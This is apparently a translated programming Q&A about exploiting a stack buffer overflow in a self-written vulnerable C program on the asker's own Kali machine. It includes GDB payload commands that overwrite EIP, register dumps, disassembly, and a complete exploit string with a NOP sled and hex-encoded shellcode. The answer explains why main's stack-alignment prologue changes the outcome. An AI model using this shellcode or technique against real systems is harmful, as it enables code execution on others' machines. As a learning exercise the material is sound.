缓冲区溢出漏洞利用示例

The*_*Guy 5 c assembly exploit buffer-overflow

我正在研究一些缓冲区溢出漏洞利用示例,并编写了一个基本的易受攻击的C应用程序来测试:(目标和攻击者是相同的Kali 2机器并运行"echo"0">/proc/sys/kernel/randomize_va_space")

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int main(int argc, char *argv[])
{
        char buffer[256];
        if (argc != 2)
        {
                exit(0);
        }

        strcpy(buffer, argv[1]);
        printf("%s\n", buffer);
}
Run Code Online (Sandbox Code Playgroud)

现在,通过在GDB中进行一些测试,我可以通过在缓冲区中放入260个字节来导致seg错误:

r $(python -c 'print "A" * 204 + "BBBB" + "C" * 52')
Run Code Online (Sandbox Code Playgroud)

寄存器显示:

eax            0x105    261
ecx            0xffffd300   -11520
edx            0xf7fb3878   -134530952
ebx            0xf7fb2000   -134537216
esp            0xffffd300   0xffffd300
ebp            0x0  0x0
esi            0x0  0
edi            0x0  0
eip            0x42424242   0x42424242
eflags         0x10286  [ PF SF IF RF ]
cs             0x23 35
ss             0x2b 43
ds             0x2b 43
es             0x2b 43
fs             0x0  0
gs             0x63 99
Run Code Online (Sandbox Code Playgroud)

鉴于上面的0x424242(尽管EBP是0x0 ??),我想我可以成功控制EIP.

问题1.

使用260字节的缓冲区,EIP被覆盖如上.如果使用:

r $(python -c 'print "A" * 512')
Run Code Online (Sandbox Code Playgroud)

我发现SEGSEGV的寄存器位于0x080484b4

eax            0x201    513
ecx            0x41414141   1094795585
edx            0xf7fb3878   -134530952
ebx            0xf7fb2000   -134537216
esp            0x4141413d   0x4141413d
ebp            0x41414141   0x41414141
esi            0x0  0
edi            0x0  0
eip            0x80484b4    0x80484b4 <main+89>
eflags         0x10286  [ PF SF IF RF ]
cs             0x23 35
ss             0x2b 43
ds             0x2b 43
es             0x2b 43
fs             0x0  0
gs             0x63 99
Run Code Online (Sandbox Code Playgroud)

我本以为如果260获得EIP的控制权,那么512字节的例子也不应该吗?为什么512场景允许EIP在这种情况下指向ret而不是像上面的260字节缓冲区示例中的0x424242?

问题2.

我创建了一个87字节的有效载荷.我已将有效负载注入最初的204字节,如下所示

r $(python -c 'print "\x90" * (204-87) + "<87 byte payload>" + "EIP <address>" + "\x90" * (260-204-4)')
Run Code Online (Sandbox Code Playgroud)

我的主要内容如下

   0x0804845b <+0>: lea    0x4(%esp),%ecx
   0x0804845f <+4>: and    $0xfffffff0,%esp
   0x08048462 <+7>: pushl  -0x4(%ecx)
   0x08048465 <+10>:    push   %ebp
   0x08048466 <+11>:    mov    %esp,%ebp
   0x08048468 <+13>:    push   %ecx
   0x08048469 <+14>:    sub    $0x104,%esp
   0x0804846f <+20>:    mov    %ecx,%eax
   0x08048471 <+22>:    cmpl   $0x2,(%eax)
   0x08048474 <+25>:    je     0x8048480 <main+37>
   0x08048476 <+27>:    sub    $0xc,%esp
   0x08048479 <+30>:    push   $0x0
   0x0804847b <+32>:    call   0x8048340 <exit@plt>
   0x08048480 <+37>:    mov    0x4(%eax),%eax
   0x08048483 <+40>:    add    $0x4,%eax
   0x08048486 <+43>:    mov    (%eax),%eax
   0x08048488 <+45>:    sub    $0x8,%esp
   0x0804848b <+48>:    push   %eax
   0x0804848c <+49>:    lea    -0x108(%ebp),%eax
   0x08048492 <+55>:    push   %eax
   0x08048493 <+56>:    call   0x8048310 <strcpy@plt>
   0x08048498 <+61>:    add    $0x10,%esp
   0x0804849b <+64>:    sub    $0xc,%esp
   0x0804849e <+67>:    lea    -0x108(%ebp),%eax
   0x080484a4 <+73>:    push   %eax
   0x080484a5 <+74>:    call   0x8048320 <puts@plt>
   0x080484aa <+79>:    add    $0x10,%esp
   0x080484ad <+82>:    mov    -0x4(%ebp),%ecx
   0x080484b0 <+85>:    leave  
   0x080484b1 <+86>:    lea    -0x4(%ecx),%esp
=> 0x080484b4 <+89>:    ret  
Run Code Online (Sandbox Code Playgroud)

在56(0x08048493)上休息并检查ESP x/2wx $ esp我可以发现:

0xffffd220: 0xffffd230  0xffffd56b
Run Code Online (Sandbox Code Playgroud)

和x/s 0xffffd56b

0xffffd56b: 'A' <repeats 117 times>, 'B' <repeats 83 times>...
(gdb) 
0xffffd633: "BBBBCCCC", 'D' <repeats 52 times>
Run Code Online (Sandbox Code Playgroud)

因此,可以推断(希望正确)EIP应该是\ x6b\xd5\xff\xff来调用漏洞利用,并替换所有部分如下(使用nop sled):

r $(python -c 'print "\x90" * (204-87) + "\x48\x31\xc9\x48\x81\xe9\xfa\xff\xff\xff\x48\x8d\x05\xef\xff\xff\xff\x48\xbb\xa9\xb2\x8c\x21\x7d\xac\xb1\x84\x48\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\xc3\x89\xd4\xb8\x35\x17\x9e\xe6\xc0\xdc\xa3\x52\x15\xac\xe2\xcc\x20\x55\xe4\x0c\x1e\xac\xb1\xcc\x20\x54\xde\xc9\x75\xac\xb1\x84\x86\xd0\xe5\x4f\x52\xdf\xd9\x84\xff\xe5\xc4\xa8\x9b\xa3\xb4\x84" + "\x6b\xd5\xff\xff" + "\x90" * (260-204-4)')
Run Code Online (Sandbox Code Playgroud)

不幸的是,该程序现在只是正常终止,"[Inferior 1(process 2863)正常退出]".我错过了什么或者只是偏离正确的道路......?另外我注意到在上面的陈述中没有不打破?

- 编辑

在离开屏幕的小时后重新开始更有意义:)

Jes*_*ter 1

请注意,原始堆栈指针保存在堆栈上,并在ret. 因此,如果您覆盖堆栈,您也可能会覆盖将用于ret. main这种方式很特别,因为它的序言中有堆栈对齐代码。

也就是说,预期的行为实际上是第二种情况,第一种情况是特殊情况。您的字符串恰好是正确的长度,因此终止零会覆盖已保存的堆栈指针的低字节,这足以使其在内存中指向较低的位置,但仍在字符串内。确切的位置将取决于堆栈布局,它并不总是您的BBBB,事实上对我来说它位于该AAAA部分的某个位置。请注意,即使关闭 ASLR,堆栈布局也可能会因环境而改变,因此即使您在 gdb 中获得了漏洞利用,它也可能无法可靠地工作,或者根本无法从 shell 中工作。